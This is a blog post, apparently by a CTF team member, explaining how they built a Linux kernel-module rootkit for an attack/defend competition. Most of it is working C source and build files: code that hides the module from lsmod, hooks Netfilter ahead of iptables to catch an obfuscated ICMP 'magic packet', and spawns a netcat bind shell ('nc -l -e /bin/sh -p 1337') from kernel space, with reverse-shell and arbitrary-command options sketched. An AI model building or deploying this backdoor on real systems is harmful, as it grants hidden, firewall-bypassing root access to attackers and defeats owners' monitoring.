What is a 'magic packet'

Basically a magic packet can be thought of as a secret handshake. It's a specially forged message that when read will trigger an action.

Introduction

In this post I want to cover the basics of writing a Loadable Kernel Module (LKM) that hooks Netfilter and listens for a magic packet. Upon receiving the packet, I want to spawn a hidden process on a listening port or a connect back port, and I want the kernel module to not appear in the list of loaded modules. By hooking netfilter like this its not going to matter whether iptables rules drop or accept the packet - it's already too late.

This is based on a rudimentary rootkit that I worked on in preparation for PROSA CTF 2014 - an attack/defend style capture the flag that ran for 24 hours. Even though my team Tykhax placed first, we managed to maintain access to target systems without the rootkit.

There were a few more features the team added to the module, but I'll only focus on the ones I worked on.

Disclaimer: I'll just mention here that my C isn't great and kernel C works a little different to regular C

Goals:

  1. Create a LKM for modern Ubuntu
  2. Hide the LKM from the list of loaded modules.
  3. Hook netfilter for incoming packets.
  4. Mildly obfuscate our magic payload.
  5. Spawn a userland process (/bin/sh)
  6. Tie the parts together

Creating the base of the module.

loader.c

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>

#define DEBUG 1

static int __init tykhax_init(void)
{
    #ifdef DEBUG
        printk(KERN_ALERT "tykhax: tykhax loaded\n");
    #endif

    // Non-zero return means that the module couldn't be loaded.
    return 0;
}

static void __exit tykhax_cleanup(void)
{
    #ifdef DEBUG
            printk(KERN_ALERT "tykhax: tykhax removed\n");
    #endif
}

module_init(tykhax_init);
module_exit(tykhax_cleanup);

MODULE_LICENSE("GPL"); // no bitching

Makefile

obj-m += tykhax.o
tykhax-objs := loader.o getshell.o nfilter.o

all:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

deploy: all
    strip tykhax.ko

test: all
    sudo rmmod tykhax 2>/dev/null;sudo insmod ./tykhax.ko

clean:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean && \
sudo rm *.o *.ko; sudo rmmod tykhax

Hiding the module from the loaded list

Beware, hiding the module also means you can't easily unload it. In the short time frame we had we simply went with reboots during testing.

loader.c

static int __init tykhax_init(void)
{
...
    #ifndef DEBUG
      // hide module from lsmod / proc/modules
      list_del_init(&__this_module.list);
      kobject_del(&__this_module.mkobj.kobj);
      list_del(&__this_module.mkobj.kobj.entry);
    #endif
...

Hooking Netfilter for ICMP traffic

During development and debugging the kernel messages were extremely noisy - this is where testing in a VM became invaluable - the final code also included UDP and TCP detection to go with the ICMP shown below.

loader.c

#include "nfilter.h"
...
static int __init tykhax_init(void)
{
    load_magic_packet();
...

static void __exit tykhax_cleanup(void)
{
    unload_magic_packet();
...

nfilter.h

void load_magic_packet(void);
void unload_magic_packet(void);

nfilter.c

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/ip.h>
#include <linux/icmp.h>

#define DEBUG 1

static struct nf_hook_ops magic_packet_hook_options;

// netfilter magic packet detection
unsigned int magic_packet_hook(const struct nf_hook_ops *ops,
                    struct sk_buff *socket_buffer,
                    const struct net_device *in,
                    const struct net_device *out,
                    int (*okfn)(struct sk_buff *))
{
    struct iphdr   *ip_header;
    struct icmphdr *icmp_header;
    char           *data;

    data = NULL;

    if (!socket_buffer) {
        return NF_ACCEPT;
    }

    ip_header = ip_hdr(socket_buffer);

    if (!ip_header) {
        return NF_ACCEPT;
    }

    if (!ip_header->protocol) {
        return NF_ACCEPT;
    }

     if (ip_header->protocol == IPPROTO_ICMP) {
        #ifdef DEBUG
            printk(KERN_INFO "ICMP from %pI4 to %pI4\n", &ip_header->saddr, &ip_header->daddr);
        #endif

        icmp_header = (struct icmphdr *)((__u32 *)ip_header + ip_header->ihl);

        if (!icmp_header) {
            return NF_ACCEPT;
        }

        data = (char *)((unsigned char *)ip_header + 28);

        #ifdef DEBUG
            printk(KERN_INFO "data len: %d\ndata: %s\n", (int) strlen(data), data);
        #endif
    }

    if (!data) {
        return NF_ACCEPT;
    }

    // do something with the data

    return NF_ACCEPT;
}

//load magic packet
void load_magic_packet(void)
{
    magic_packet_hook_options.hook     = (void *) magic_packet_hook;
    magic_packet_hook_options.hooknum  = 0; //NF_IP_PRE_ROUTING;
    magic_packet_hook_options.pf       = PF_INET;
    magic_packet_hook_options.priority = NF_IP_PRI_FIRST;

    nf_register_hook(&magic_packet_hook_options);
}

void unload_magic_packet(void)
{
    nf_unregister_hook(&magic_packet_hook_options);
}

Mild obfuscation

Make our magic packets contain a non-obvious, unique feature to avoid easy detection.

nfilter.c

static unsigned int MAGIC_LENGTH = 64;
...

    // do something with the data
    // detect something special about this packet compared to others
    if (strlen(data) == MAGIC_LENGTH && (data[0] % 3 == 0 && data[MAGIC_LENGTH - 1] % 2) == 0) {
        #ifdef DEBUG
            printk(KERN_INFO "magic packet matches\n");
        #endif

        // do something now we've shaken hands
        magic_command(data, ip_header->saddr);
    }

Spawning a userland process from Kernel land

This part was written by Tykhax team mate Emilio - .dk+.au combined forces

getshell.h

int tykhax_run_command(char * cmd);

getshell.c

##include <linux/kernel.h>
#include <linux/module.h>
#include <linux/kmod.h>
#include <linux/cred.h>
#include <linux/kallsyms.h>
#include <linux/delay.h>
#include <asm/errno.h>
#include <linux/syscalls.h>
#include <linux/sched.h>
#include <linux/slab.h>
#include <linux/version.h>

#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,4,0)
static void tykhax_run_command_free_argv(struct subprocess_info * info){
    // should also clear any char * elements
    kfree(info->argv);
}
#endif

int tykhax_run_command(char * run_cmd){
    struct subprocess_info * info;
    char * cmd_string;
    static char * envp[] = {
        "HOME=/", "TERM=linux", "PATH=/sbin:/usr/sbin:/bin:/usr/bin", NULL
    };

    char ** argv = kmalloc(sizeof(char *[5]), GFP_KERNEL);
    if(!argv) goto out;
    cmd_string = kstrdup(run_cmd, GFP_KERNEL);
    if(!cmd_string) goto free_argv;

    argv[0] = "/bin/sh";
    argv[1] = "-c";
    argv[2] = run_cmd;
    argv[3] = NULL;

    #if (LINUX_VERSION_CODE < KERNEL_VERSION(3,4,0)) && (LINUX_VERSION_CODE > KERNEL_VERSION(3,1,0))
    /* struct subprocess_info *call_usermodehelper_setup(char *path, char **argv,
     *                                                   char **envp, gfp_t gfp_mask)
     */
    info = call_usermodehelper_setup(argv[0], argv, envp, GFP_KERNEL);
    #endif

    #if LINUX_VERSION_CODE >= KERNEL_VERSION(3,4,0)
    /* struct subprocess_info *call_usermodehelper_setup(char *path, char **argv,
     *                char **envp, gfp_t gfp_mask,
     *                int (*init)(struct subprocess_info *info, struct cred *new),
     *                void (*cleanup)(struct subprocess_info *info),
     *                void *data)
     */
    info = call_usermodehelper_setup(argv[0], argv, envp, GFP_KERNEL,
                                   NULL, tykhax_run_command_free_argv, NULL);
    #endif
    if(!info) goto free_cmd_string;

    return call_usermodehelper_exec(info, UMH_WAIT_EXEC); // 0 = don't wait

    free_cmd_string:
        kfree(cmd_string);
    free_argv:
        kfree(argv);
    out:
      return -ENOMEM;
}

Tying the magic packet and the process spawning together

This part was very last minute. I tried a few different methods of handling the data but dealing with kernel panics in a short time and many, many reboots leads to dirty code.

nfilter.c

void magic_command(char *data, __be32 source_ip)
{
    char command[64];
    // unsigned int *port;

    if (strlen(data) > 64) return;

    switch(data[1]) {
        ...
        case 'S':
            #ifdef DEBUG
                printk(KERN_INFO "SPAWN SHELL\n");
            #endif
            tykhax_run_command("nc -l -e /bin/sh -p 1337");
            break;
        ...
        // case 'R' - reverse shell with netcat
        // case 'C' - attempt to take the remaining data as the command
    }
    return;
}

As you can imagine, these cases we're extremely flakey, We didnt want to risk losing flags over kernel panics.

Follow ons

Rootkits can go on and on, and there's plenty more examples out there. Overall, this was a great learning process and a fantastic hype to the CTF with first place topping off a fantastic effort by our whole team. Attack/Defend is much more engaging than jeopardy style CTFs. All in all it was a solid 24 hours and I cant wait to compete again in PROSA CTF next year.